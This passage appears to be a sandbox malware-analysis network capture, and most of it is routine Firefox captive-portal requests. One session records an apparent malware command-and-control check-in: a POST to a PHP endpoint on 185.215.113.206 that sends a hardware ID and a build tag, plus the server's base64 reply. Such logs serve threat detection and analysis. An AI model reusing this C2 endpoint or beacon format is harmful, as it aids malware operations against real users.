Nov 29, 2024 19:51:20.112338066 CET	1236	IN	Data Raw: a4 28 5f c6 8a 0c 03 df d1 d6 e8 ca b0 d6 f7 7a 02 e1 5e bb d9 b6 a3 75 a5 98 40 91 e0 4b b5 9c 29 47 7b 80 67 da 76 72 53 b5 47 53 81 13 ac 0a 55 a3 27 e1 75 0a 63 16 2d 23 26 33 39 c0 b7 e2 0b ae 35 9e 52 e4 ba 27 e2 a3 61 9d 61 87 21 e1 68 70 Data Ascii: (_z^u@K)G{gvrSGSU'uc-#&395R'aa!hpOwBD"8Zz9DftcKijhGXm_`g.<>Duzc8KvFc*/)U\1x^B]:;0e6yhwYp[ }ufxpn1j
Nov 29, 2024 19:51:20.112449884 CET	1236	IN	Data Raw: b1 23 e4 99 d4 1f 9a 2b 6d a3 09 d3 fa 3b cd a7 46 4d fe eb fc 86 ab f4 b8 d6 94 9f 5b 97 8b 06 55 97 d1 05 bb 82 13 fa a7 eb 3b c1 30 99 a2 e6 48 47 d0 3f cb d4 6d 45 46 c2 9d c9 06 2f 0e 32 c4 6c 32 85 99 92 7e ad 53 2d 43 3c da 4e 83 be 4d c5 Data Ascii: #+m;FM[U;0HG?mEF/2l2~S-C<NM4H?f5tj}We~byc`2HJ)&aqi80G^7o~ 7[v%mAL`vj,(*:`Zec,Y[,qoiX_
Nov 29, 2024 19:51:20.112548113 CET	1236	IN	Data Raw: 45 9a d4 e9 74 ca 48 37 86 3e 19 3b 54 0a 0d 8c 1a 12 2e d0 c4 95 ad 1c 8b 01 bb 92 c4 dd 9b fb 45 09 03 df 63 de d3 d3 5a 60 24 40 a5 6b a4 8f 4f 02 a1 ba 93 a6 b8 36 11 93 5f de ae 42 ba 1d 51 c0 42 d6 21 2a e0 ee ac 31 47 2e 6e be f6 50 18 91 Data Ascii: EtH7>;T.EcZ`$@kO6_BQB!1G.nP'SV%LF;n=!W;hboit+t7eD!+N&- $hOwHrSv "1s-C$(!r$+jpjI?7
Nov 29, 2024 19:51:20.112557888 CET	236	IN	Data Raw: c8 a4 6c 70 99 42 d0 b6 2e 1c e4 8e 4d 33 3f ae 60 79 dc 3d 66 c1 aa 92 fe c7 bc 4a a0 1b f5 ee c0 e2 1b 40 ed e4 d3 51 28 e5 c9 76 8d 83 17 a5 27 0b 65 6a 6a 3d f8 29 a1 57 12 ee e0 c2 70 80 1e d8 49 6e ef 36 14 cf cf 03 49 12 45 10 1c dd cf 52 Data Ascii: lpB.M3?`y=fJ@Q(v'ejj=)WpIn6IERJEBUvrr,XU@P8EPl0D!jMl(so#r\EQk[kfPhU0_FvH,#>RXBjwD:vKF=E~)0
Nov 29, 2024 19:51:20.236536980 CET	1236	IN	Data Raw: 6e bb 46 48 6e e6 fa 59 f6 8f 5a 0e 08 4b 28 69 8d a2 14 50 32 2b 09 9c e7 76 62 c4 5f b9 c0 27 c2 3e 7e 68 74 91 3d 4c c6 2b 66 19 80 1b 78 fd 59 a1 9e e3 c0 ac f0 0c d6 b3 c4 1e b2 1c be 94 24 4d 64 69 9d 24 d3 e6 a6 c4 b5 70 24 0b c6 31 88 d7 Data Ascii: nFHnYZK(iP2+vb_'>~ht=L+fxY$Mdi$p$1XO0xtqY2&b6$5%hpN*eX)z_Nd?m~2AT# /,HZvIizo#[4U~A 9\gYHGf+80a&

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	50088	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:19.198756933 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:20.590390921 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:51:20.633625031 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="build"drum------IIEBGIDAAFHIJJJJEGCG--
Nov 29, 2024 19:51:21.100034952 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50091	34.107.221.82	80	4852	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:19.648817062 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:20.737622976 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 29 Nov 2024 01:51:28 GMT Age: 61192 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50105	34.107.221.82	80	4852	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:21.019283056 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:22.113796949 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47453 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:22.117779016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:22.432988882 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47454 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:22.478338003 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:22.793378115 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47454 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:23.074455023 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:23.390433073 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47455 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:24.450155020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:24.766484976 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47456 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:28.207154989 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:28.522469044 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47460 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:38.551913977 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:51:39.782202959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:40.098172903 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47471 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:41.450151920 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:41.765650034 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47473 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:41.993613005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:42.309161901 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47474 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:42.668498039 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:51:42.985908985 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47474 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:51:53.057106972 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:01.164695024 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:52:01.479655027 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47493 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:52:11.323740959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:52:11.639600039 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47503 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:52:21.757697105 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:31.957262993 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:42.154283047 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:52:42.524719954 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:52:42.842835903 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47534 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:52:52.852591038 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:03.060058117 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:13.250613928 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:23.460932970 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:53:33.655901909 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:54:04.068367004 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:54:04.384021997 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47616 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 29, 2024 19:54:12.791021109 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 29, 2024 19:54:13.107225895 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 29 Nov 2024 05:40:28 GMT Age: 47624 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50106	34.107.221.82	80	4852	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:21.019489050 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:22.113589048 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70619 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:22.156609058 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:22.473532915 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70620 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:22.742213011 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:23.057967901 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70620 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:24.117609978 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:24.443387985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70622 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:27.886068106 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:28.202559948 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70626 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:38.305100918 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 29, 2024 19:51:39.456391096 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:39.771415949 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70637 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:41.129059076 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:41.443892956 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70639 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:41.670368910 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 29, 2024 19:51:41.985210896 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 28 Nov 2024 23:14:22 GMT Age: 70639 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 29, 2024 19:51:42.343741894 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
